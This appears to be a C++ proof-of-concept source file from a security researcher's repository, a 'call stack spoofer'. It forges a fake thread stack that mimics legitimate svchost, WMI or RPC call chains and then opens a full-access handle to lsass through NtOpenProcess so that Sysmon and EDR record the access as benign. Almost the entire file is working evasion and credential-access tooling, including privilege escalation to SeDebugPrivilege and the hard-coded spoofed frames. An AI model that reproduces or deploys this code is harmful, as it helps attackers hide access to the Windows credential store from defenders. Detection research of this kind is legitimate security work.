Files
william-burgess a736a5cb5a PR: First draft of call stack spoofer poc (#1)
* First draft of call stack spoofer poc
2022-06-29 11:39:36 +01:00

900 lines
31 KiB
C++

#include <ehdata.h>
#include <iostream>
#include <map>
#include <subauth.h>
#include <TlHelp32.h>
#include <vector>
#include <Windows.h>
//
// From Ntdef.h.
//
// Treat anything not STATUS_SUCCESS as an error.
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define MAX_STACK_SIZE 12000
#define RBP_OP_INFO 0x5
//
// Definitions and structs required to call NtOpenProcess.
//
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
CLIENT_ID clientTest = {};
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
//
// Unwind op codes: https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170
//
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0, /* info == register number */
UWOP_ALLOC_LARGE, /* no info, alloc size in next 2 slots */
UWOP_ALLOC_SMALL, /* info == size of allocation / 8 - 1 */
UWOP_SET_FPREG, /* no info, FP = RSP + UNWIND_INFO.FPRegOffset*16 */
UWOP_SAVE_NONVOL, /* info == register number, offset in next slot */
UWOP_SAVE_NONVOL_FAR, /* info == register number, offset in next 2 slots */
UWOP_SAVE_XMM128 = 8, /* info == XMM reg number, offset in next slot */
UWOP_SAVE_XMM128_FAR, /* info == XMM reg number, offset in next 2 slots */
UWOP_PUSH_MACHFRAME /* info == 0: no error-code, 1: error-code */
} UNWIND_CODE_OPS;
//
// A lookup map for modules and their corresponding image base.
//
std::map<std::wstring, HMODULE> imageBaseMap;
//
// Used to store information for individual stack frames for call stack to spoof.
//
struct StackFrame {
std::wstring targetDll;
ULONG offset;
ULONG totalStackSize;
BOOL requiresLoadLibrary;
BOOL setsFramePointer;
PVOID returnAddress;
BOOL pushRbp;
ULONG countOfCodes;
BOOL pushRbpIndex;
StackFrame(std::wstring dllPath, ULONG targetOffset, ULONG targetStackSize, bool bDllLoad) :
targetDll(dllPath),
offset(targetOffset),
totalStackSize(targetStackSize),
requiresLoadLibrary(bDllLoad),
setsFramePointer(false),
returnAddress(0),
pushRbp(false),
countOfCodes(0),
pushRbpIndex(0)
{
};
};
//
// Example call stacks (pulled from SysMon Event 10: process accessed where lsass is the target).
//
// As a word of caution, the call stacks below were
// generated via SysMon (and tested) on:
// * 10.0.19044.1706 (21h2)
// They have *not* been tested on any other Windows version and
// offsets may obviously vary on different Windows builds.
//
// SourceImage: C:\Windows\system32\wbem\wmiprvse.exe
// CallTrace:
// C:\Windows\SYSTEM32\ntdll.dll + 9d204
// C:\Windows\System32\KERNELBASE.dll + 2c13e
// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CorperfmonExt.dll + c669
// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CorperfmonExt.dll + c71b
// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CorperfmonExt.dll + 2fde
// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CorperfmonExt.dll + 2b9e
// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CorperfmonExt.dll + 2659
// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CorperfmonExt.dll + 11b6
// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CorperfmonExt.dll + c144
// C:\Windows\System32\KERNEL32.DLL + 17034
// C:\Windows\SYSTEM32\ntdll.dll + 52651
// NB Don't include first frame as this will automatically
// be recorded by the syscall in NtOpenProcess
std::vector<StackFrame> wmiCallStack =
{
StackFrame(L"C:\\Windows\\SYSTEM32\\kernelbase.dll", 0x2c13e, 0, FALSE),
StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0xc669, 0, TRUE),
StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0xc71b, 0, FALSE),
StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x2fde, 0, FALSE),
StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x2b9e, 0, FALSE),
StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x2659, 0, FALSE),
StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x11b6, 0, FALSE),
StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0xc144, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\kernel32.dll", 0x17034, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0x52651, 0, FALSE),
};
// SourceImage: C:\Windows\system32\svchost.exe
// CallTrace:
// C:\Windows\SYSTEM32\ntdll.dll + 9d204
// C:\Windows\System32\KERNELBASE.dll + 2c13e
// C:\Windows\system32\sysmain.dll + 80e5f
// C:\Windows\system32\sysmain.dll + 60ce6
// C:\Windows\system32\sysmain.dll + 2a7d3
// C:\Windows\system32\sysmain.dll + 2a331
// C:\Windows\system32\sysmain.dll + 66cf1
// C:\Windows\system32\sysmain.dll + 7b59e
// C:\windows\system32\sysmain.dll + 67ecf
// C:\Windows\system32\svchost.exe + 4300
// C:\Windows\System32\sechost.dll + df78
// C:\Windows\System32\KERNEL32.DLL + 17034
// C:\Windows\SYSTEM32\ntdll.dll + 52651
std::vector<StackFrame> svchostCallStack =
{
StackFrame(L"C:\\Windows\\SYSTEM32\\kernelbase.dll", 0x2c13e, 0, FALSE),
StackFrame(L"C:\\Windows\\system32\\sysmain.dll", 0x80e5f, 0, TRUE),
StackFrame(L"C:\\Windows\\system32\\sysmain.dll", 0x60ce6, 0, FALSE),
StackFrame(L"C:\\Windows\\system32\\sysmain.dll", 0x2a7d3, 0, FALSE),
StackFrame(L"C:\\Windows\\system32\\sysmain.dll", 0x2a331, 0, FALSE),
StackFrame(L"C:\\Windows\\system32\\sysmain.dll", 0x66cf1, 0, FALSE),
StackFrame(L"C:\\Windows\\system32\\sysmain.dll", 0x7b59e, 0, FALSE),
StackFrame(L"C:\\Windows\\system32\\sysmain.dll", 0x67ecf, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\svchost.exe", 0x4300, 0, TRUE),
StackFrame(L"C:\\Windows\\SYSTEM32\\sechost.dll", 0xdf78, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\kernel32.dll", 0x17034, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0x52651, 0, FALSE),
};
// SourceImage: C:\Windows\system32\svchost.exe
// CallTrace:
// C:\Windows\SYSTEM32\ntdll.dll + 9d204
// C:\Windows\System32\KERNELBASE.dll + 32ea6
// C:\Windows\System32\lsm.dll + e959
// C:\Windows\System32\RPCRT4.dll + 79633
// C:\Windows\System32\RPCRT4.dll + 13711
// C:\Windows\System32\RPCRT4.dll + dd77b
// C:\Windows\System32\RPCRT4.dll + 5d2ac
// C:\Windows\System32\RPCRT4.dll + 5a408
// C:\Windows\System32\RPCRT4.dll + 3a266
// C:\Windows\System32\RPCRT4.dll + 39bb8
// C:\Windows\System32\RPCRT4.dll + 48a0f
// C:\Windows\System32\RPCRT4.dll + 47e18
// C:\Windows\System32\RPCRT4.dll + 47401
// C:\Windows\System32\RPCRT4.dll + 46e6e
// C:\Windows\System32\RPCRT4.dll + 4b542
// C:\Windows\SYSTEM32\ntdll.dll + 20330
// C:\Windows\SYSTEM32\ntdll.dll + 52f26
// C:\Windows\System32\KERNEL32.DLL + 17034
// C:\Windows\SYSTEM32\ntdll.dll + 52651
std::vector<StackFrame> rpcCallStack =
{
StackFrame(L"C:\\Windows\\SYSTEM32\\kernelbase.dll", 0x32ea6, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\lsm.dll", 0xe959, 0, TRUE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x79633, 0, TRUE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x13711, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0xdd77b, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x5d2ac, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x5a408, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x3a266, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x39bb8, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x48a0f, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x47e18, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x47401, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x46e6e, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\RPCRT4.dll", 0x4b542, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0x20330, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0x52f26, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\kernel32.dll", 0x17034, 0, FALSE),
StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0x52651, 0, FALSE),
};
//
// Calculates the image base for the given stack frame
// and adds it to the image base map.
//
NTSTATUS GetImageBase(const StackFrame &stackFrame)
{
NTSTATUS status = STATUS_SUCCESS;
HMODULE tmpImageBase = 0;
// [0] Check if image base has already been resolved.
if (imageBaseMap.count(stackFrame.targetDll))
{
goto Cleanup;
}
// [1] Check if current frame contains a
// non standard dll and load if so.
if (stackFrame.requiresLoadLibrary)
{
tmpImageBase = LoadLibrary(stackFrame.targetDll.c_str());
if (!tmpImageBase)
{
status = STATUS_DLL_NOT_FOUND;
goto Cleanup;
}
}
// [2] If we haven't already recorded the
// image base capture it now.
if (!tmpImageBase)
{
tmpImageBase = GetModuleHandle(stackFrame.targetDll.c_str());
if (!tmpImageBase)
{
status = STATUS_DLL_NOT_FOUND;
goto Cleanup;
}
}
// [3] Add to image base map to avoid superfluous recalculating.
imageBaseMap.insert({ stackFrame.targetDll, tmpImageBase });
Cleanup:
return status;
}
//
// Uses the offset within the StackFrame structure to
// calculate the return address for fake frame.
//
NTSTATUS CalculateReturnAddress(StackFrame &stackFrame)
{
NTSTATUS status = STATUS_SUCCESS;
try {
const PVOID targetImageBaseAddress = imageBaseMap.at(stackFrame.targetDll);
if (!targetImageBaseAddress) {
status = STATUS_DLL_NOT_FOUND;
goto Cleanup;
}
stackFrame.returnAddress = (PCHAR)targetImageBaseAddress + stackFrame.offset;
}
catch (const std::out_of_range&)
{
std::cout << "Dll \"" << stackFrame.targetDll.c_str() << "\" not found" << std::endl;
status = STATUS_DLL_NOT_FOUND;
goto Cleanup;
}
Cleanup:
return status;
}
//
// Calculates the total stack space used by the fake stack frame. Uses
// a minimal implementation of RtlVirtualUnwind to parse the unwind codes
// for target function and add up total stack size. Largely based on:
// https://github.com/hzqst/unicorn_pe/blob/master/unicorn_pe/except.cpp#L773
//
NTSTATUS CalculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 ImageBase, StackFrame &stackFrame)
{
NTSTATUS status = STATUS_SUCCESS;
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
// [0] Sanity check incoming pointer.
if (!pRuntimeFunction)
{
status = STATUS_INVALID_PARAMETER;
goto Cleanup;
}
// [1] Loop over unwind info.
// NB As this is a PoC, it does not handle every unwind operation, but
// rather the minimum set required to successfully mimic the default
// call stacks included.
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + ImageBase);
while (index < pUnwindInfo->CountOfCodes)
{
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
// [2] Loop over unwind codes and calculate
// total stack space used by target function.
switch (unwindOperation) {
case UWOP_PUSH_NONVOL:
// UWOP_PUSH_NONVOL is 8 bytes.
stackFrame.totalStackSize += 8;
// Record if it pushes rbp as
// this is important for UWOP_SET_FPREG.
if (RBP_OP_INFO == operationInfo)
{
stackFrame.pushRbp = true;
// Record when rbp is pushed to stack.
stackFrame.countOfCodes = pUnwindInfo->CountOfCodes;
stackFrame.pushRbpIndex = index + 1;
}
break;
case UWOP_SAVE_NONVOL:
//UWOP_SAVE_NONVOL doesn't contribute to stack size
// but you do need to increment index.
index += 1;
break;
case UWOP_ALLOC_SMALL:
//Alloc size is op info field * 8 + 8.
stackFrame.totalStackSize += ((operationInfo * 8) + 8);
break;
case UWOP_ALLOC_LARGE:
// Alloc large is either:
// 1) If op info == 0 then size of alloc / 8
// is in the next slot (i.e. index += 1).
// 2) If op info == 1 then size is in next
// two slots.
index += 1;
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
if (operationInfo == 0)
{
frameOffset *= 8;
}
else
{
index += 1;
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
}
stackFrame.totalStackSize += frameOffset;
break;
case UWOP_SET_FPREG:
// This sets rsp == rbp (mov rsp,rbp), so we need to ensure
// that rbp is the expected value (in the frame above) when
// it comes to spoof this frame in order to ensure the
// call stack is correctly unwound.
stackFrame.setsFramePointer = true;
break;
default:
std::cout << "[-] Error: Unsupported Unwind Op Code\n";
status = STATUS_ASSERTION_FAILURE;
break;
}
index += 1;
}
// If chained unwind information is present then we need to
// also recursively parse this and add to total stack size.
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
{
index = pUnwindInfo->CountOfCodes;
if (0 != (index & 1))
{
index += 1;
}
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
return CalculateFunctionStackSize(pRuntimeFunction, ImageBase, stackFrame);
}
// Add the size of the return address (8 bytes).
stackFrame.totalStackSize += 8;
Cleanup:
return status;
}
//
// Retrieves the runtime function entry for given fake ret address
// and calls CalculateFunctionStackSize, which will recursively
// calculate the total stack space utilisation.
//
NTSTATUS CalculateFunctionStackSizeWrapper(StackFrame &stackFrame)
{
NTSTATUS status = STATUS_SUCCESS;
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
// [0] Sanity check return address.
if (!stackFrame.returnAddress)
{
status = STATUS_INVALID_PARAMETER;
goto Cleanup;
}
// [1] Locate RUNTIME_FUNCTION for given function.
pRuntimeFunction = RtlLookupFunctionEntry(
(DWORD64)stackFrame.returnAddress,
&ImageBase,
pHistoryTable);
if (NULL == pRuntimeFunction)
{
status = STATUS_ASSERTION_FAILURE;
goto Cleanup;
}
// [2] Recursively calculate the total stack size for
// the function we are "returning" to.
status = CalculateFunctionStackSize(pRuntimeFunction, ImageBase, stackFrame);
Cleanup:
return status;
}
//
// Takes a target call stack and configures it ready for use
// via loading any required dlls, resolving module addresses
// and calculating spoofed return addresses.
//
NTSTATUS InitialiseSpoofedCallstack(std::vector<StackFrame> &targetCallStack)
{
NTSTATUS status = STATUS_SUCCESS;
for (auto stackFrame = targetCallStack.begin(); stackFrame != targetCallStack.end(); stackFrame++)
{
// [1] Get image base for current stack frame.
status = GetImageBase(*stackFrame);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Error: Failed to get image base\n";
goto Cleanup;
}
// [2] Calculate ret address for current stack frame.
status = CalculateReturnAddress(*stackFrame);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Error: Failed to caluclate ret address\n";
goto Cleanup;
}
// [3] Calculate the total stack size for ret function.
status = CalculateFunctionStackSizeWrapper(*stackFrame);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Error: Failed to caluclate total stack size\n";
goto Cleanup;
}
}
Cleanup:
return status;
}
//
// Pushes a value to the stack of a Context structure.
//
void PushToStack(CONTEXT &Context, const ULONG64 value)
{
Context.Rsp -= 0x8;
PULONG64 AddressToWrite = (PULONG64)(Context.Rsp);
*AddressToWrite = value;
}
//
// Initialises the spoofed thread state before it begins
// to execute by building a fake call stack via modifying
// rsp and appropriate stack data.
//
void InitialiseFakeThreadState(CONTEXT& context, const std::vector<StackFrame> &targetCallStack)
{
ULONG64 childSp = 0;
BOOL bPreviousFrameSetUWOP_SET_FPREG = false;
// [1] As an extra sanity check explicitly clear
// the last RET address to stop any further unwinding.
PushToStack(context, 0);
// [2] Loop through target call stack *backwards*
// and modify the stack so it resembles the fake
// call stack e.g. essentially making the top of
// the fake stack look like the diagram below:
// | |
// ----------------
// | RET ADDRESS |
// ----------------
// | |
// | Unwind |
// | Stack |
// | Size |
// | |
// ----------------
// | RET ADDRESS |
// ----------------
// | |
// | Unwind |
// | Stack |
// | Size |
// | |
// ----------------
// | RET ADDRESS |
// ---------------- <--- RSP when NtOpenProcess is called
//
for (auto stackFrame = targetCallStack.rbegin(); stackFrame != targetCallStack.rend(); ++stackFrame)
{
// [2.1] Check if the last frame set UWOP_SET_FPREG.
// If the previous frame uses the UWOP_SET_FPREG
// op, it will reset the stack pointer to rbp.
// Therefore, we need to find the next function in
// the chain which pushes rbp and make sure it writes
// the correct value to the stack so it is propagated
// to the frame after that needs it (otherwise stackwalk
// will fail). The required value is the childSP
// of the function that used UWOP_SET_FPREG (i.e. the
// value of RSP after it is done adjusting the stack and
// before it pushes its RET address).
if (bPreviousFrameSetUWOP_SET_FPREG && stackFrame->pushRbp)
{
// [2.2] Check when RBP was pushed to the stack in function
// prologue. UWOP_PUSH_NONVOls will always be last:
// "Because of the constraints on epilogs, UWOP_PUSH_NONVOL
// unwind codes must appear first in the prolog and
// correspondingly, last in the unwind code array."
// Hence, subtract the push rbp code index from the
// total count to work out when it is pushed onto stack.
// E.g. diff will be 1 below, so rsp -= 0x8 then write childSP:
// RPCRT4!LrpcIoComplete:
// 00007ffd`b342b480 4053 push rbx
// 00007ffd`b342b482 55 push rbp
// 00007ffd`b342b483 56 push rsi
// If diff == 0, rbp is pushed first etc.
auto diff = stackFrame->countOfCodes - stackFrame->pushRbpIndex;
auto tmpStackSizeCounter = 0;
for (ULONG i = 0; i < diff; i++)
{
// e.g. push rbx
PushToStack(context, 0x0);
tmpStackSizeCounter += 0x8;
}
// push rbp
PushToStack(context, childSp);
// [2.3] Minus off the remaining function stack size
// and continue unwinding.
context.Rsp -= (stackFrame->totalStackSize - (tmpStackSizeCounter + 0x8));
PULONG64 fakeRetAddress = (PULONG64)(context.Rsp);
*fakeRetAddress = (ULONG64)stackFrame->returnAddress;
// [2.4] From my testing it seems you only need to get rbp
// right for the next available frame in the chain which pushes it.
// Hence, there can be a frame in between which does not push rbp.
// Ergo set this to false once you have resolved rbp for frame
// which needed it. This is pretty flimsy though so this assumption
// may break for other more complicated examples.
bPreviousFrameSetUWOP_SET_FPREG = false;
}
else
{
// [3] If normal frame, decrement total stack size
// and write RET address.
context.Rsp -= stackFrame->totalStackSize;
PULONG64 fakeRetAddress = (PULONG64)(context.Rsp);
*fakeRetAddress = (ULONG64)stackFrame->returnAddress;
}
// [4] Check if the current function sets frame pointer
// when unwinding e.g. mov rsp,rbp / UWOP_SET_FPREG
// and record its childSP.
if (stackFrame->setsFramePointer)
{
childSp = context.Rsp;
childSp += 0x8;
bPreviousFrameSetUWOP_SET_FPREG = true;
}
}
}
//
// Retrieves the pid of the lsass process.
//
NTSTATUS GetLsassPid(DWORD &pid)
{
NTSTATUS status = STATUS_SUCCESS;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == snapshot)
{
status = STATUS_ASSERTION_FAILURE;
goto Cleanup;
}
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processEntry.szExeFile, L"lsass.exe") != 0)
{
Process32Next(snapshot, &processEntry);
}
}
pid = processEntry.th32ProcessID;
Cleanup:
return status;
}
//
// Sets the specified privilege in the current process access token.
// Based on:
// https://docs.microsoft.com/en-us/windows/win32/secauthz/enabling-and-disabling-privileges-in-c--
//
BOOL SetPrivilege(
const LPCTSTR lpszPrivilege,
const BOOL bEnablePrivilege
)
{
TOKEN_PRIVILEGES tp = {};
LUID luid = {};
HANDLE hToken = NULL;
// [1] Obtain handle to process token.
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
std::cout << "[-] Failed to OpenProcessToken \n";
return FALSE;
}
// [2] Look up supplied privilege value and set if required.
if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
std::cout << "[-] SetPrivilege failed: LookupPrivilegeValue error" << GetLastError() << std::endl;
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
{
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}
else
{
tp.Privileges[0].Attributes = 0;
}
// [3] Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
std::cout << "[-] AdjustTokenPrivileges failed: LookupPrivilegeValue error" << GetLastError() << std::endl;
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
std::cout << "[-] SetPrivilege failed: LookupPrivilegeValue error\n";
return FALSE;
}
return TRUE;
}
//
// Handles the inevitable crash of the fake thread and redirects
// it to gracefully exit via RtlExitUserThread.
//
LONG CALLBACK VehCallback(PEXCEPTION_POINTERS ExceptionInfo)
{
ULONG exceptionCode = ExceptionInfo->ExceptionRecord->ExceptionCode;
// [0] If unrelated to us, keep searching.
if (exceptionCode != STATUS_ACCESS_VIOLATION) return EXCEPTION_CONTINUE_SEARCH;
// [1] Handle access violation error by gracefully exiting thread.
if (exceptionCode == STATUS_ACCESS_VIOLATION)
{
std::cout << "[+] VEH Exception Handler called \n";
std::cout << "[+] Re-directing spoofed thread to RtlExitUserThread \n";
ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(GetModuleHandleA("ntdll"), "RtlExitUserThread");
ExceptionInfo->ContextRecord->Rcx = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_EXECUTION;
}
//
// Dummy function used as start address for spoofed thread.
//
DWORD DummyFunction(LPVOID lpParam)
{
std::cout << "[+] Hello from dummy function!\n";
return 0;
}
NTSTATUS HandleArgs(int argc, char* argv[], std::vector<StackFrame> &targetCallStack)
{
NTSTATUS status = STATUS_SUCCESS;
if (argc < 2)
{
// No argument provided so just default to
// spoofing svchost call stack.
targetCallStack = svchostCallStack;
}
else
{
std::string callstackArg(argv[1]);
if (callstackArg == "--wmi")
{
std::cout << "[+] Target call stack profile to spoof is wmi\n";
targetCallStack = wmiCallStack;
}
else if (callstackArg == "--rpc")
{
std::cout << "[+] Target call stack profile to spoof is rpc\n";
targetCallStack = rpcCallStack;
}
else if (callstackArg == "--svchost")
{
std::cout << "[+] Target call stack profile to spoof is svchost\n";
targetCallStack = svchostCallStack;
}
else
{
std::cout << "[-] Error: Incorrect argument provided. The options are --wmi, --rpc, and --svchost.\n";
status = ERROR_INVALID_PARAMETER;
}
}
return status;
}
int main(int argc, char* argv[])
{
std::cout << R"(
$$\
$$ |
$$\ $$\ $$\ $$\ $$ | $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$\
\$$\ $$ |$$ | $$ |$$ |$$ _____|\____$$\ $$ __$$\ $$ __$$\ \____$$\\$$\ $$ |$$ __$$\ $$ __$$\
\$$\$$ / $$ | $$ |$$ |$$ / $$$$$$$ |$$ | $$ | $$ | \__|$$$$$$$ |\$$\$$ / $$$$$$$$ |$$ | $$ |
\$$$ / $$ | $$ |$$ |$$ | $$ __$$ |$$ | $$ | $$ | $$ __$$ | \$$$ / $$ ____|$$ | $$ |
\$ / \$$$$$$ |$$ |\$$$$$$$\\$$$$$$$ |$$ | $$ | $$ | \$$$$$$$ | \$ / \$$$$$$$\ $$ | $$ |
\_/ \______/ \__| \_______|\_______|\__| \__| \__| \_______| \_/ \_______|\__| \__|
Call Stack Spoofer William Burgess @joehowwolf
)" << '\n';
NTSTATUS status = STATUS_SUCCESS;
std::vector<StackFrame> targetCallStack = {};
DWORD dwThreadId = 0;
HANDLE hThread = 0;
CONTEXT context = {};
PVOID pHandler = NULL;
BOOL ret = false;
DWORD suspendCount = 0;
// Args for NtOpenProcess.
OBJECT_ATTRIBUTES objectAttr;
CLIENT_ID clientId;
DWORD lsassPid = 0;
HANDLE hLsass = 0;
// [0] Handle command line args.
status = HandleArgs(argc, argv, targetCallStack);
if (!NT_SUCCESS(status))
{
return -1;
}
// [1] Initialise our target call stack to spoof. This
// will load any required dlls, calculate ret addresses,
// and individual stack sizes needed to mimic the call stack.
std::cout << "[+] Initialising fake call stack...\n";
status = InitialiseSpoofedCallstack(targetCallStack);
if (!NT_SUCCESS(status))
{
std::cout << "[-] Failed to initialise fake call stack\n";
return -1;
}
// [2] To grab a handle to lsass, new thread needs SeDebugPriv.
if (!SetPrivilege(SE_DEBUG_NAME, true))
{
std::cout << "[-] Failed to enable SeDebugPrivilege; try re-running as admin \n";
return -1;
}
// [3] Create suspended thread.
// NB Stack can grow rapidly for spoofed call stack
// so allow for plenty of space. Also start address
// can be anything at this point.
hThread = CreateThread(
NULL,
MAX_STACK_SIZE,
DummyFunction,
0,
CREATE_SUSPENDED,
&dwThreadId);
if (!hThread)
{
std::cout << "[-] Failed to create suspended thread\n";
return -1;
}
std::cout << "[+] Created suspended thread\n";
// [4] Obtain context struct for suspended thread.
context.ContextFlags = CONTEXT_FULL;
ret = GetThreadContext(hThread, &context);
if (!ret)
{
std::cout << "[-] Failed to get thread context\n";
return -1;
}
// [5.1] Initialise fake thread state.
std::cout << "[+] Initialising spoofed thread state...\n";
InitialiseFakeThreadState(context, targetCallStack);
// [5.2] Set arguments for NtOpenProcess.
// RCX
context.Rcx = (DWORD64)&hLsass;
// RDX
context.Rdx = (DWORD64)PROCESS_ALL_ACCESS;
// R8
InitializeObjectAttributes(&objectAttr, NULL, 0, NULL, NULL);
context.R8 = (DWORD64)&objectAttr;
// R9
GetLsassPid(lsassPid);
clientId.UniqueProcess = (HANDLE)lsassPid;
clientId.UniqueThread = 0;
context.R9 = (DWORD64)&clientId;
// RIP
DWORD64 ntOpenProcessAddress = (DWORD64)GetProcAddress(GetModuleHandleA("ntdll"), "NtOpenProcess");
context.Rip = ntOpenProcessAddress;
// [5.3] Set thread context.
ret = SetThreadContext(hThread, &context);
if (!ret)
{
std::cout << "[-] Failed to set thread context\n";
return -1;
}
// [6] Register a vectored exception handler. Once the sys call has returned
// the thread will error out, as it will traverse fake/non existent
// call stack. This will catch the error and gracefully exit the thread.
pHandler = AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)VehCallback);
if (!pHandler)
{
std::cout << "[-] Failed to add vectored exception handler\n";
return -1;
}
// [7] Rock and or roll.
std::cout << "[+] Resuming suspended thread...\n";
suspendCount = ResumeThread(hThread);
if (-1 == suspendCount)
{
std::cout << "[-] Failed to resume thread\n";
return -1;
}
// [8] Sleep briefly.
std::cout << "[+] Sleeping for 5 seconds...\n";
Sleep(5000);
// [9] Did we get a handle to lsass?
if (!hLsass)
{
std::cout << "[-] Error: Failed to obtain handle to lsass\n";
return -1;
}
else
{
std::cout << "[+] Successfully obtained handle to lsass with spoofed callstack: " << hLsass << "\n";
std::cout << "[+] Check SysMon event logs to view spoofed callstack: Applications and Services --> Microsoft --> Windows --> Sysmon \n";
}
return 0;
}